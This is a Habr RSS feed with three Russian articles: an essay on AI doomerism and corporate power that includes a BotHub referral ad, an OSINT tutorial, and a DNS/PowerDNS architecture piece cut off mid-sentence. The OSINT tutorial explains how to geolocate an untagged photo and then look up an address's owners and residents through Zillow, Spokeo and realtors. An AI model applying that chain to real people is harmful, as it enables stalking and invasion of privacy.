<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Все публикации подряд на Хабре</title>
    <link>https://habr.com/rss/all/all/</link>
    <description>Все публикации подряд на Хабре</description>
    <managingEditor>editor@habr.com</managingEditor>
    <pubDate>Sat, 18 Apr 2026 09:42:26 +0000</pubDate>
    <image>
      <url>https://habrastorage.org/webt/ym/el/wk/ymelwk3zy1gawz4nkejl_-ammtc.png</url>
      <title>Хабр</title>
      <link>https://habr.com/ru/articles/</link>
    </image>
    <item>
      <title>[Перевод] Ловушка «Пари Паскаля»: как страх перед будущим ИИ отвлекает нас от проблем в настоящем</title>
      <link>https://habr.com/ru/companies/bothub/articles/1024938/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024938</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/72e/e92/3b3/72ee923b3cf5e16da76fa978f2b4b20a.png width=1200 height=823 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/72e/e92/3b3/72ee923b3cf5e16da76fa978f2b4b20a.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/72e/e92/3b3/72ee923b3cf5e16da76fa978f2b4b20a.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Давайте сразу честно: я &lt;strong&gt;не считаю нынешний ИИ разумным&lt;/strong&gt;. И не верю, что все эти, при всём уважении, очень впечатляющие статистические трюки вдруг возьмут и приведут нас к настоящему интеллекту.&lt;p&gt;Поэтому разговоры в духе «а что мы будем делать, если ИИ станет разумным?» кажутся мне либо отвлекающим манёвром, либо просто красивым маркетингом.&lt;p&gt;Но при этом у меня с ИИ-думерами всё же есть что-то общее. Я тоже переживаю из-за технологий, которые находятся в руках корпораций, настолько разросшихся, что они уже почти не поддаются нормальному контролю. Я тоже переживаю из-за того, как эти технологии используют против людей. Меня тоже тревожит, как большие компании срастаются с государством и всё это начинает пахнуть очень неприятной смесью контроля, слежки и авторитаризма. Меня тоже волнует, как технологии используют, чтобы выжимать из работников всё больше, а жить им становилось всё хуже.&lt;p&gt;Просто, на мой взгляд, &lt;strong&gt;для этого никакой сверхразумный ИИ не нужен&lt;/strong&gt;.&lt;p&gt;Всё это уже происходит.&lt;br&gt;И беспокоиться об этом нужно уже сейчас.&lt;p&gt;На прошлой неделе я как раз обсуждал это публично — на лекции в Монреале, где выступал вместе с Астрой Тейлор и Йошуа Бенджио. Бенджио, если что, — человек очень серьёзный: лауреат премии Тьюринга, один из тех, кто вообще заложил фундамент нынешнего бума deep learning.&lt;p&gt;И мы с ним, мягко говоря, &lt;strong&gt;не сошлись во взглядах&lt;/strong&gt;.&lt;p&gt;Бенджио сейчас занимается инициативой под названием &lt;strong&gt;Lawzero&lt;/strong&gt;. Идея у неё такая: создать международный ИИ-консорциум, который будет делать ИИ как &lt;strong&gt;общественное цифровое благо&lt;/strong&gt; — открытое, прозрачное, проверяемое и безопасное.&lt;p&gt;Он говорит: ИИ станет намного сильнее, и если не появится какая-то нормальная, общественно ориентированная версия, нас ждут манипуляции, слежка, хаос, а дальше уже и риски для всей цивилизации.&lt;p&gt;И вот здесь я с ним не согласен.&lt;p&gt;Не потому, что мне всё равно. Наоборот — &lt;strong&gt;ИИ меня тоже пугает&lt;/strong&gt;.&lt;p&gt;Но пугает по-другому.&lt;p&gt;Меня пугает, что какой-нибудь гладко говорящий продавец ИИ уговорит вашего начальника вас уволить и заменить системой, которая вообще-то вашу работу делать не умеет. Причём продавцу будет несложно: если начальство что и любит, так это идея не платить людям.&lt;p&gt;Меня пугает, что семь компаний, на которые сейчас приходится больше трети S&amp;amp;P 500, однажды схлопнутся, как только кто-то перестанет делать вид, будто один и тот же долговой лист на сто миллиардов долларов одновременно лежит на счетах у всех.&lt;p&gt;Меня пугает, что когда этот пузырь лопнет, чат-боты, которые и так кое-как заменяли уволенных людей, просто исчезнут — а вместе с ними исчезнет и сама работа. То есть задачи останутся, а делать их будет некому.&lt;p&gt;Меня пугает, что если треть фондового рынка испарится, дальше начнутся жёсткая экономия, социальная турбулентность и политические последствия, которые обычно ничем хорошим не заканчиваются.&lt;p&gt;Меня пугает, что люди, которые раньше делали эту работу, разойдутся кто куда: кого-то переучат, кого-то вытеснят, кого-то просто выдавят. А вместе с этим исчезнет и накопленное годами &lt;strong&gt;живое знание о том, как всё реально работает&lt;/strong&gt;. То самое знание, которое нельзя быстро скачать, скопировать или сымитировать.&lt;p&gt;И потом, уже посреди экономического хаоса, мы будем пытаться заново собирать всё это по кусочкам.&lt;p&gt;Если коротко:&lt;br&gt;&lt;strong&gt;я боюсь, что ИИ — это что-то вроде асбеста, который мы сейчас радостно закладываем в стены собственной цивилизации, а потом наши потомки будут ещё поколениями это расчищать.&lt;/strong&gt;&lt;p&gt;Но Бенджио думает иначе. Он уверен, что ИИ вот-вот станет сверхчеловеческим и начнёт творить очень опасные вещи, если мы срочно не возьмём ситуацию под контроль.&lt;p&gt;И вот что мне тогда пришло в голову: всё это очень похоже на &lt;strong&gt;пари Паскаля&lt;/strong&gt;, только в новой упаковке.&lt;p&gt;Логика пари Паскаля такая: если есть хоть шанс, что Бог существует, разумнее жить так, будто он есть. Потому что если Бога нет — ты теряешь что-то конечное. Ну, какие-то удовольствия, привычки, комфорт. А если Бог есть — выигрываешь бесконечно много.&lt;p&gt;С этой идеей люди спорят уже больше трёхсот лет. Но у меня к её ИИ-версии есть свой, очень простой вопрос:&lt;hr&gt;&lt;p&gt;Кстати, об инструментах. Если вам нужен доступ ко всем ключевым моделям — Claude, GPT, Gemini — загляните на &lt;strong&gt;BotHub&lt;/strong&gt;.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a0f/cd1/8c9/a0fcd18c93b77cd5181f5a10897e08cb.png width=1560 height=711 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a0f/cd1/8c9/a0fcd18c93b77cd5181f5a10897e08cb.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a0f/cd1/8c9/a0fcd18c93b77cd5181f5a10897e08cb.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Для доступа не требуется VPN, можно использовать российскую карту.&lt;blockquote&gt;&lt;p&gt;&lt;a href=&#34;https://bothub.chat/?invitedBy=iTNi-351UcHgc1BxGFWim&#34;&gt;&lt;strong&gt;По ссылке вы можете получить 300 000 бесплатных токенов&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;  для первых задач и приступить к работе с нейросетями прямо сейчас!&lt;/strong&gt;&lt;/blockquote&gt;&lt;hr&gt;&lt;h3&gt;А как вы поймёте, что пора остановиться?&lt;/h3&gt;&lt;p&gt;Человечество уже сожгло больше &lt;strong&gt;1,4 триллиона долларов&lt;/strong&gt; в попытке вызвать это цифровое божество. И пока ничего похожего на божество не возникло. Сколько ещё нужно потратить, чтобы сказать: похоже, в программе, угадывающей следующее слово, всё-таки не прячется бог?&lt;p&gt;Сэм Альтман говорит: ещё &lt;strong&gt;2–3 триллиона&lt;/strong&gt;. То есть примерно как полгода всех федеральных расходов США. Хорошо. Допустим, потратим. Если после этого бога тоже не обнаружится — всё? Закругляемся?&lt;p&gt;Судя по Илону Маску, нет.&lt;p&gt;У Маска, как обычно, план космического размаха: разобрать Солнечную систему и построить сферу Дайсона, чтобы ловить каждый фотон Солнца и направлять всю эту энергию на наши модели.&lt;p&gt;Ну допустим. Сделали и это. И что — если после этого никакого бога всё равно нет, мы наконец скажем: «ладно, хватит»?&lt;p&gt;С чего бы?&lt;p&gt;Если одного Солнца мало, всегда можно сказать, что нужно два. Или двести. Или две тысячи. А если мы уже вложили в это всё человечество, уже собрали под контроль две тысячи солнц, кто вообще решится остановиться? А вдруг бог сидит в &lt;strong&gt;две тысячи первом&lt;/strong&gt;?&lt;p&gt;Создавать бога из алгоритмов — это как писать слово &lt;em&gt;banana&lt;/em&gt;:&lt;br&gt;начать легко, остановиться трудно.&lt;p&gt;Но когда мы спорили с Бенджио на сцене, я вдруг понял, что у нас всё-таки есть общая точка.&lt;p&gt;Потому что когда кто-то начинает говорить о &lt;strong&gt;гуманной технологии&lt;/strong&gt;, которая уважает приватность и работает в интересах людей, а не их начальства, — я сразу начинаю слушать внимательнее. А если рядом ещё звучат слова &lt;strong&gt;«международные цифровые общественные блага»&lt;/strong&gt;, то всё, вы меня уже зацепили.&lt;p&gt;Потому что в каком-то смысле мы с Бенджио &lt;strong&gt;боимся одного и того же&lt;/strong&gt;.&lt;p&gt;Я тоже боюсь, что нашу планету уже колонизировали искусственные формы жизни, которые мы сами создали, а потом потеряли над ними контроль. Я тоже боюсь, что эти формы жизни ломают наши механизмы понимания мира — так, что мы всё хуже различаем, где правда, а где нет. Я тоже боюсь, что они захватили государственные институты — парламенты, регуляторов, суды — и заставили их работать не на людей, а на интересы этих новых хозяев.&lt;p&gt;Только есть одна разница.&lt;p&gt;&lt;strong&gt;Те искусственные формы жизни, которых боюсь я, — не гипотетические. Они уже здесь.&lt;/strong&gt;&lt;p&gt;И называются они &lt;strong&gt;корпорации с ограниченной ответственностью&lt;/strong&gt;.&lt;p&gt;Вот это и есть вполне реальная, уже наступившая, очень осязаемая угроза.&lt;p&gt;И более того: чтобы с ней справиться, нам действительно понадобятся те самые &lt;strong&gt;международные цифровые общественные блага&lt;/strong&gt;. Нам нужен постамериканский интернет: свободные, открытые, проверяемые, прозрачные платформы и прошивки для всех задач и всех устройств, которыми мы сегодня пользуемся.&lt;p&gt;И даже если мы всё это построим, останется другая огромная работа: вытащить из нынешнего зависимого цифрового мира все наши системы, сервисы и близких. Перевести людей и инфраструктуру из интернета, который следит, контролирует и ломает всё под интересы нескольких корпораций.&lt;p&gt;Каждая лишняя минута, которую мы проводим в этом нынешнем цифровом болоте, — это уже риск.&lt;p&gt;Теоретически один политический приказ может отключить технику, платформы, облака, обновления, критический софт. Не нужны ни танки, ни вторжение, если можно просто выключить доступ к тому, на чём всё держится.&lt;p&gt;И вот это — не какой-то сценарий на отдалённое будущее.&lt;p&gt;Это то, с чем мы уже живём.&lt;br&gt;Прямо сейчас.&lt;p&gt;И, если честно, &lt;strong&gt;это действительно очень страшно&lt;/strong&gt;.&lt;hr&gt;&lt;h3&gt;Поэтому вот моё встречное предложение&lt;/h3&gt;&lt;p&gt;Если вы считаете, что нам нужно строить &lt;strong&gt;международные цифровые общественные блага&lt;/strong&gt;, чтобы защититься от будущей, возможной, колонизирующей, безжалостной искусственной формы жизни, — давайте хотя бы согласимся вот в чём:&lt;p&gt;&lt;strong&gt;прототип этого проекта нам нужен уже сегодня.&lt;/strong&gt;&lt;p&gt;Потому что прямо сейчас нам уже нужны международные цифровые общественные блага, чтобы построить постамериканский интернет и выбраться из-под власти тех безжалостных, хищных искусственных форм жизни, которые уже держат нас в мёртвой хватке.&lt;p&gt;Если мы справимся с этой нынешней угрозой, вполне может оказаться, что у людей, пытающихся вызвать вашего «злого цифрового бога», просто больше не останется ни ресурсов, ни условий, чтобы это делать. И тогда ваш сценарий предотвратится сам собой.&lt;p&gt;А если нет — если после всего этого угроза всё равно останется, если ваш злой бог всё ещё будет маячить впереди, — тогда я с готовностью встану рядом с вами. И помогу собрать всех тех людей, которые умеют строить международные цифровые общественные блага, — людей, которые к тому моменту уже будут закалены победой над нынешней корпоративной машиной.&lt;p&gt;И тогда вместе будем разбираться уже со следующим чудовищем.&lt;p&gt;По-моему, это вполне честная сделка.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/bothub/articles/1024938/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024938</guid>
      <pubDate>Sat, 18 Apr 2026 09:39:54 +0000</pubDate>
    </item>
    <item>
      <title>OSINT для ленивых. Часть 8: GEOINT по фото за 3 минуты</title>
      <link>https://habr.com/ru/articles/1024934/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024934</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/911/fa9/d43/911fa9d43e54e0f387db5333a2d0287f.jpeg width=749 height=499 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/911/fa9/d43/911fa9d43e54e0f387db5333a2d0287f.jpeg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/911/fa9/d43/911fa9d43e54e0f387db5333a2d0287f.jpeg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;GEOINT (Geospatial Intelligence — геопространственная разведка) &lt;/strong&gt;— это сбор, анализ и интерпретация изображений, карт и геоданных (GPS, метаданные) для описания и оценки физических особенностей и событий на Земле.&lt;p&gt;Это направление OSINT, соединяющее спутниковые снимки, карты и геотеги из соцсетей для точного установления времени и места.&lt;/blockquote&gt;&lt;p&gt;Любой осинтер, даже самый ленивый, не может отрицать важность геоинта (исследования по местоположению объекта). Если вы не знаете, что это такое, то &amp;#34;Хьюстон, у вас проблемы&amp;#34;.&lt;p&gt;Разберемся с базой: зачастую под геоинтом, понимают определение местоположения объекта по фото или видеоряду. Все, что связано с географией объекта относится к геоинту, любой документ, любые данные. Банковские документы, коммунальные счета, звукоряд...&lt;p&gt;По большому счету, это — основа ОСИНТ исследований, потому что без привязки к географии, объект исследования — это сова Шредингера и, даже без глобуса. Ну а поскольку свыше 70% информации мы воспринимаем зрительно, то и доля визуальной информации в такого рода исследованиях занимает сравнимую долю. С нее и начнем.&lt;p&gt;&lt;em&gt;Нюансы типа синих меток на столбах или где какое дерево растет, разбирать не станем. В них можно углубляться до бесконечности.&lt;/em&gt;&lt;p&gt;А так как осинтеры мы — ленивые, то попробуем упростить себе жизнь при помощи нейросетей и других вспомогательных ресурсов. Прежде всего, используем сервисы с набором различных карт, собранных в одном месте: &lt;a href=https://javier.jimenezshaw.com/mapas/mapas.html rel=&#34;noopener noreferrer nofollow&#34;&gt;https://javier.jimenezshaw.com/mapas/mapas.html&lt;/a&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a00/5ca/720/a005ca720db4303ab0237ac25605a32d.png alt=&#34;Несколько типов карт в одном месте. &#34; title=&#34;Несколько типов карт в одном месте. &#34; width=1443 height=591 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a00/5ca/720/a005ca720db4303ab0237ac25605a32d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a00/5ca/720/a005ca720db4303ab0237ac25605a32d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Несколько типов карт в одном месте. &lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Есть даже карты железных дорог, на минуточку — это удобно для сравнения различных типов карт на одном экране. Иногда такая необходимость существует. И, чтобы облегчить себе жизнь, мы можем видеть одну и ту же местность на 2х картах одновременно. При этом, список карт у нас выпадающих списках сверху. Там мы можем переключать нужные типы карт для сравнения. Особенно это полезно при анализе известной местности и поиске деталей.&lt;p&gt;Скажете: &amp;#34;Это — абстракция.&lt;br&gt;А что с конкретного? Поставим задачу: у нас есть фото местности, без метаданных.&lt;br&gt;Помним? Метаданные с фотографии дают нам координаты местности и другую инфу.&lt;br&gt;Что делать, если их у нас нету? Есть просто картинка, будем разбираться.&lt;p&gt;Для примера, возьмем фотографию из Гугла. Какой-нибудь городской пейзаж, например, вот этот:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/d25/527/bc8/d25527bc88c20acfc1e5040f40f16abd.jpeg alt=&#34;Это просто пример.&#34; title=&#34;Это просто пример.&#34; width=909 height=486 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/d25/527/bc8/d25527bc88c20acfc1e5040f40f16abd.jpeg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/d25/527/bc8/d25527bc88c20acfc1e5040f40f16abd.jpeg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Это просто пример.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Конечно, мы можем пойти и таким путем: просто загнать фото в поиск по изображению и посмотреть среди миллионов картинок примерные связи и местоположение. Работы много, точность сомнительна. Но мы же — лентяи, зачем нам такие сложности?&lt;p&gt;Используем простые но действенные ресурсы: &lt;a href=https://www.imggeo.com%D0%A1 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;https://www.imggeo.com&lt;/strong&gt;, &lt;/a&gt;с точностью до 98% он нам определяет место как 6100 Miramonte, Irvine, CA 92618 с координатами: GPS 33°38&amp;#39;24.216&amp;#34;N 117°44&amp;#39;48.048&amp;#34;W&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b06/46a/7d5/b0646a7d55aa4cd1887e02652fc8a497.png alt=&#34;Жмем на кнопку Analyze Image&#34; title=&#34;Жмем на кнопку Analyze Image&#34; width=1113 height=935 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b06/46a/7d5/b0646a7d55aa4cd1887e02652fc8a497.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b06/46a/7d5/b0646a7d55aa4cd1887e02652fc8a497.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Жмем на кнопку Analyze Image&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Хорошо, но мало. Ну ты нашел, какой-то адрес. Что ты с ним делать будешь?&lt;br&gt;Следующим логическим шагом нужно бы посмотреть что там находится, кто там живет и с чем их едят.&lt;p&gt;Один из основных ресурсов, которые дают нам информацию по адресу в США — это &lt;a href=https://www.zillow.com%D0%9E%D0%BD rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;https://www.zillow.com&lt;/strong&gt;&lt;/a&gt;, он дает нам историю здания в плане продаж, доступности аренды, цен на это помещение.&lt;p&gt;Например, для этого адреса, мы видим, что это жилое здание с инфраструктурой, аппартаментами, парковкой на крыше, в хорошем районе со средней стоимостью аренды от 3,8тыс $ в месяц.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/e17/8a6/079/e178a6079804cb5b899ec3b99f9df3ed.png alt=&#34;Хороший район&#34; title=&#34;Хороший район&#34; width=645 height=919 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/e17/8a6/079/e178a6079804cb5b899ec3b99f9df3ed.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/e17/8a6/079/e178a6079804cb5b899ec3b99f9df3ed.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Хороший район&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Подобные ресурсы, с аналогичным набором данных: &lt;a href=https://www.redfin.com rel=&#34;noopener noreferrer nofollow&#34;&gt;https://www.redfin.com&lt;/a&gt; и &lt;a href=https://www.realtor.com%EF%BF%BC%D0%9F%D1%80%D0%B8 rel=&#34;noopener noreferrer nofollow&#34;&gt;https://www.realtor.com&lt;br&gt;&lt;/a&gt;При необходимости, вы даже можете связаться с риелторами или уполномоченными лицами для большей детализации.&lt;br&gt;Так же можно использовать сервис аренды жилья AirBNB или же &lt;a href=https://www.homefacts.com/address/California/Orange-County/Irvine/92618/6100-Miramonte/330684432.html# rel=&#34;noopener noreferrer nofollow&#34;&gt;https://www.homefacts.com/address/California/Orange-County/Irvine/92618/6100-Miramonte/330684432.html#&lt;/a&gt; например.&lt;br&gt;Конкретно по собственникам нам расскажет &lt;a href=https://www.spokeo.com rel=&#34;noopener noreferrer nofollow&#34;&gt;https://www.spokeo.com&lt;/a&gt;. Ресурс условно бесплатный, за подробную информацию требует оплаты.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/692/290/90b/69229090b5fbca056a4d5eafecae788f.png alt=Spoceo title=Spoceo width=1373 height=873 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/692/290/90b/69229090b5fbca056a4d5eafecae788f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/692/290/90b/69229090b5fbca056a4d5eafecae788f.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Spoceo&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Что нам дает такого рода информация? По меньшей мере, что человек, проживающий по адресу 6100 Miramonte, Irvine, CA 92618 не в коробке от холодильника на улице живет, и при определенной долей наглости и изобретательности (все в рамках закона, помним!) мы можем проверить живет ли он там в реальности. Мы можем просто обзвонить риелторов и поинтересоваться за всякое.&lt;br&gt;Таким образом, мы определили место съемки фото, локализовали адрес и определили какого плана публика там обитает.&lt;p&gt;Повторюсь, по большому счету, &lt;strong&gt;универсального рецепта на все случаи для такой работы нет.&lt;/strong&gt; Если zillow работает в США, то для Европы или Азии нужны другие инструменты, они сильно локализованы по странам и регионам. Соответственно, в каждой из них есть свои ограничения и инструменты подбирать придется с учетом местных особенностей. Хорошо применять глобальные сервисы аренды и торговли недвижимостью. Это дает максимальный охват территории, сравнение близлежащих локаций и, если повезет, то и список жителей.&lt;p&gt;&lt;strong&gt;Общий ключ такой:&lt;/strong&gt; геолокация, риэлторский анализ, сравнение вторичных данных, если же мы анализируем фото на улице или где-то в сельской местности, то достаточно использовать &lt;a href=http://imggeo.com rel=&#34;noopener noreferrer nofollow&#34;&gt;imggeo.com&lt;/a&gt;, что нам даст высоковероятное местоположение.&lt;p&gt;Следует помнить, что использование таких ресурсов дает более высокую точность в городских условиях с использованием уникальных маркеров и ориентиров. Вообще хорошо — при наличии реальных метаданных, и меток личностей на фото. В сельской местности точность ниже. Краткий вывод: фото без метаданных — не тупик. Дорогу осилит идущий.&lt;p&gt;Мы в Telegram: &lt;a href=https://t.me/+jAjZcfEdOx42NzRi rel=&#34;noopener noreferrer nofollow&#34;&gt;https://t.me/+jAjZcfEdOx42NzRi&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>hack_less</author>
      <guid>https://habr.com/ru/articles/1024934/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024934</guid>
      <pubDate>Sat, 18 Apr 2026 09:29:41 +0000</pubDate>
    </item>
    <item>
      <title>Отказоустойчивый Anycast DNS с управлением через IaC</title>
      <link>https://habr.com/ru/articles/1024930/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024930</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/60f/c63/264/60fc6326429691931d11b9bae935fa4f.png width=888 height=499 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/60f/c63/264/60fc6326429691931d11b9bae935fa4f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/60f/c63/264/60fc6326429691931d11b9bae935fa4f.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;DNS — неотъемлемая и очень важная часть инфраструктуры, о которой иногда забывают. Порой её воспринимают как нечто само собой разумеющееся, что просто всегда есть и работает. Вспоминают о ней обычно при странных багах, которые сложно диагностировать, или авариях, которые рушат всю инфраструктуру на часы.&lt;p&gt;Некоторое время назад я добрался до задачи рефакторинга DNS инфраструктуры — чтобы сделать её проще, удобнее и надежнее. В этой статье я хочу поделиться своим опытом и расскажу, как у нас получилось сделать внутренний распределенный DNS и управлять им как кодом.&lt;h3&gt;Вводные&lt;/h3&gt;&lt;p&gt;Что мы имеем:&lt;ul&gt;&lt;li&gt;&lt;p&gt;внутренние DNS, обслуживающие наши зоны и запросы от наших сервисов — это несколько ЦОД, зон доступности, точек присутствия или чего‑нибудь еще, где нужен DNS&lt;li&gt;&lt;p&gt;приватные DNS, на которые нужно делать forward — нам нужно о них знать, но мы не можем управлять их зонами&lt;li&gt;&lt;p&gt;внешние DNS — хостеры, облака и прочее, где мы только управляем зонами, но не их инфраструктурой&lt;li&gt;&lt;p&gt;хаотичное управление этим зоопарком — часть автоматизирована, часть — нет, с ростом инфраструктуры DNS перестраивался неравномерно&lt;/ul&gt;&lt;p&gt;Что хотим получить:&lt;ul&gt;&lt;li&gt;&lt;p&gt;отказоустойчивый DNS, не требующий вмешательства инженера для восстановления&lt;li&gt;&lt;p&gt;балансировку и распределение нагрузки&lt;li&gt;&lt;p&gt;управление всеми зонами и правилами forward в одном окне&lt;li&gt;&lt;p&gt;защиту от ошибок и краха всего DNS из‑за ошибочных изменений&lt;/ul&gt;&lt;p&gt;В первую очередь мы сконцентрировались на внутренней инфраструктуре, но часть с управлением внешними зонами тоже не оставили без внимания.&lt;h3&gt;Архитектура нового DNS&lt;/h3&gt;&lt;p&gt;Мы рассматривали разные варианты управления, синхронизации состояний, передачу зон и изменений. Мало сделать просто доставку зон — хочется быть уверенным, что изменения доехали до серверов, иметь возможность проверки дельты. И желательно еще так, чтобы это всё работало с внешними DNS.&lt;h4&gt;Zone transfer&lt;/h4&gt;&lt;p&gt;Самый простой и популярный способ синхронизации между DNS серверами:&lt;ul&gt;&lt;li&gt;&lt;p&gt;изменения вносятся на master&lt;li&gt;&lt;p&gt;master отправляет NOTIFY на slave&lt;li&gt;&lt;p&gt;slave синхронизируют состояние через AXFR или IXFR&lt;/ul&gt;&lt;p&gt;Есть разные вариации, оптимизации, superslave сценарии и прочее.&lt;p&gt;Механизм рабочий и давно зарекомендовал себя, но нам не нравится:&lt;ul&gt;&lt;li&gt;&lt;p&gt;зависимость от одного master на запись&lt;li&gt;&lt;p&gt;непредсказуемая задержка при изменениях&lt;li&gt;&lt;p&gt;далеко не все провайдеры согласятся на такую интеграцию&lt;/ul&gt;&lt;p&gt;Этот вариант отбросили сразу.&lt;h4&gt;PowerDNS Authoritative — Database Backend&lt;/h4&gt;&lt;p&gt;Если не хочется переживать за NOTIFY, PowerDNS позволяет использовать для хранения зон базы данных (MySQL, Postgres, MSSQL — это не весь список). Теперь за хранение и репликацию отвечает база, про это не нужно думать, но...&lt;p&gt;Проблему multi‑master в DNS мы переложили на базы данных:&lt;ul&gt;&lt;li&gt;&lt;p&gt;строить active‑active master на несколько ЦОД ради DNS точно не хочется&lt;li&gt;&lt;p&gt;асинхронные реплики и их поддержка тоже не внушают энтузиазм&lt;/ul&gt;&lt;p&gt;Оценив объемы и сложности, такой вариант тоже решили не рассматривать.&lt;h4&gt;PowerDNS Authoritative — Database Backend (еще раз)&lt;/h4&gt;&lt;p&gt;Вернее, мы решили не рассматривать репликацию баз. Зато вот сама база как хранилище зон позволяет нам использовать &lt;a href=https://doc.powerdns.com/authoritative/http-api/index.html rel=&#34;noopener noreferrer nofollow&#34;&gt;API&lt;/a&gt; для управления зонами — это удобно и позволит нам гибче управлять самим DNS.&lt;p&gt;Но репликация зон нам всё еще необходима, что делать? А нам не нужно ничего делать!&lt;p&gt;Мы просто не будем перекладывать эту задачу на DNS. Ведь мы уже управляем зонами через API, вот и состояние будем приводить к нужному тоже через API.&lt;p&gt;Получается так:&lt;ul&gt;&lt;li&gt;&lt;p&gt;делаем нужное нам количество серверов PowerDNS&lt;li&gt;&lt;p&gt;конфигурируем их как независимые узлы — они ничего не знают друг о друге&lt;li&gt;&lt;p&gt;управляем их зонами с помощью внешнего инструмента&lt;/ul&gt;&lt;p&gt;Так мы получаем консистентную конфигурацию, независимость серверов друг от друга, и программное управление в придачу. Отлично, это — именно то, что нам нужно.&lt;p&gt;Но тут мы решили только проблему с authoritative DNS, еще есть recursor.&lt;h4&gt;PowerDNS Recursor&lt;/h4&gt;&lt;p&gt;Раз уж мы уже рассматриваем PowerDNS Authoritative, логично посмотреть и на их Recursor. Его и выбрали.&lt;p&gt;У него тоже есть возможность управления через &lt;a href=https://doc.powerdns.com/recursor/http-api/endpoint-zones.html rel=&#34;noopener noreferrer nofollow&#34;&gt;API&lt;/a&gt;. Вообще его можно использовать как authoritative, но, честно говоря, мы даже не рассматривали такой вариант. Пусть решает свои задачи, а зоны обслуживает предназначенный для этого Authoritative.&lt;details class=spoiler&gt;&lt;summary&gt;А что с dnsdist?&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;p&gt;Мы про него мы не забыли.&lt;p&gt;Изначально думали поставить его как балансировщик перед всеми компонентами, но в нашем случае это показалось избыточным. Производительности Recursor нам хватает, сложных 